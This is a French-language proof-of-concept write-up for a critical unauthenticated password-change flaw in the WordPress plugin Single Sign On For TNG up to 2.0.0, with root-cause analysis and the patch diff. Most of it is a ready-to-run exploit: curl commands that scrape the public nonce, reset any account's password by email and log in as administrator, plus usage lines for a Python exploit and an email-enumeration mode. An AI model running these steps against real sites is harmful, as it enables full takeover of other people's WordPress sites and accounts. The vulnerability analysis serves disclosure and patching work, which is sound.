
PoC et vérificateur pour CVE-2026-15964 - changement de mot de passe sans authentification dans le plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Élévation de privilèges non authentifiée via un changement de mot de passe non vérifié dans le plugin WordPress Single Sign On For TNG.
| Gravité | Critique (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Changement de mot de passe non vérifié) |
| Versions affectées | versions du plugin 1.0.0 à 2.0.0 |
| Corrigé dans | 2.1.0 (publié le 2026-07-27) |
| Publié | 2026-08-01 |
| Authentification requise | aucune (wp_ajax_nopriv_ssoprocess_ajax) |
| Impact | changer le mot de passe de n'importe quel compte WordPress, y compris les administrateurs - prise de contrôle totale du site |
| Plugin | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Tout visiteur non authentifié peut changer le mot de passe de n'importe quel compte sur un site utilisant le plugin en version 2.0.0 ou antérieure. Deux requêtes HTTP :
SSOPWDREQUIREMENT.admin-ajax.php avec operation=setnewpassword, l'e-mail de la victime et
un nouveau mot de passe.La fonction reset_password() du cœur de WordPress fait le reste. Pas de jeton, pas de lien
de confirmation par e-mail, pas de vérification de capacité. Connectez-vous ensuite en tant qu'administrateur.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
Dans single-sign-on-for-tng.php (v2.0.0) :
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* signifie que le gestionnaire est accessible sans aucune session.
load_scripts() est accroché à wp_enqueue_scripts, donc sur chaque page
frontale, le plugin imprime ceci dans le HTML :
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Ce qui donne :
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
Et le gestionnaire le vérifie ainsi :
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
Le piège : WordPress calcule les nonces avec wp_create_nonce($action) en utilisant
uid et le jeton de session. Pour les visiteurs déconnectés, ceux-ci valent 0 et une
chaîne vide, ce qui signifie que chaque visiteur anonyme obtient exactement le même nonce.
Il n'est recalculé que toutes les 12 heures (le tick de nonce). Ainsi, le nonce que le
plugin imprime pour n'importe quel visiteur est également valable pour l'attaquant - il n'y a
aucun secret à voler, il est publié sur la page elle-même.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() est une fonction du cœur de WordPress. Elle définit le nouveau hachage,
déconnecte la victime de toutes les autres sessions et déclenche les actions password_reset /
after_password_reset. Elle est appelée ici sans rien prouvant que l'appelant est le
propriétaire du compte.
Deux points supplémentaires à connaître :
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC du plugin ne sont appliquées que dans
validate_form() pour les formulaires Forminator, jamais ici. N'importe quel mot de passe est accepté.{"success":true} vs {"success":false} vous indique
si un e-mail est enregistré. Le mode --enum-only du vérificateur utilise cela.operation=set_tzoffset appelle
update_option('localtzoffset', $post['timezoneoffset']) sans authentification.
Pas directement exploitable pour une RCE, mais c'est une écriture d'option non authentifiée
et il vaut la peine de le mentionner dans l'analyse.La comparaison de 2.0.0 avec 2.1.0 rend le correctif évident (et confirme le bug) :
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
plus, dans newpasswordform() :
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
Donc dans la 2.1.0, le flux est le suivant : une véritable demande de récupération stocke
custom_recovery_token + custom_recovery_nonce propres à l'utilisateur dans ses meta,
le lien de récupération porte l'identifiant de l'utilisateur, le formulaire valide les deux,
et le gestionnaire AJAX refuse de s'exécuter une fois la fenêtre de récupération (timeout)
expirée. Un attaquant qui ne peut pas produire un enregistrement de récupération actif ne peut
plus piloter setnewpassword.
Étape 1 - récupérer le nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Étape 2 - changer le mot de passe
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Réponse attendue sur une installation vulnérable : {"success":true}
Étape 3 - se connecter
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyExploit mono-site. Modes non destructifs inclus.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only